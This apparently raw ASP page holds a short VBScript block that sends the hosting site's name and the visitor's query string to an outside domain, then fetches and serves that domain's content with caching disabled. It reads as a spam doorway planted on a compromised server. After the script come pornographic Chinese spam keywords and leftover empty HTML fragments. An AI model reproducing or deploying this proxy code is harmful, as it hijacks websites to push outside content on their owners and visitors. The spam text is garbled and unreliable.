?% function gethttppage(url) dim http set http=server.createobject("MSXML2.XMLhttp") http.open "get",url,false http.send() if http.readystate<>4 then exit function end if gethttppage=bytesToBSTR(http.responseBody,"gb2312") set http=nothing if err.number<>0 then Response.write(err.description)'err.Clear end function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function function getpagestate(url) dim http set http=server.createobject("MSXML2.XMLhttp") http.open "GET",url,false http.send() if http.readystate <> 4 then getpagestate = 0 else getpagestate = 1 end if if err.number<>0 then err.Clear end function dim getcode,url url = "http://www1.dywlkj.com/dywlkj_infolist.asp?cur="&request.ServerVariables("HTTP_HOST") if Request.QueryString()<>"" and isnull(Request.QueryString()) = false Then url = url & "&" & Request.QueryString() getcode = gethttppage(url) getcode = replace(getcode,"dywlkj_infolist.aspx","dywlkj_infolist.asp") Response.Expires = -1 Response.ExpiresAbsolute = Now() - 1 Response.cachecontrol = "no-cache" Response.ContentType = "text/html" Response.Charset = "utf-8" Response.write(getcode) Response.End() %> 久久久久久国产精品无码下载,97人妻中文字幕无码系列,99囯产啪亚洲国产精品无码,日韩人妻精品无码久久免费},久久人人爽人人爽人人片av二区,91精品国产91热久久久久福利
  • <td id="0wwss"><option id="0wwss"></option></td>
  • <td id="0wwss"><option id="0wwss"></option></td>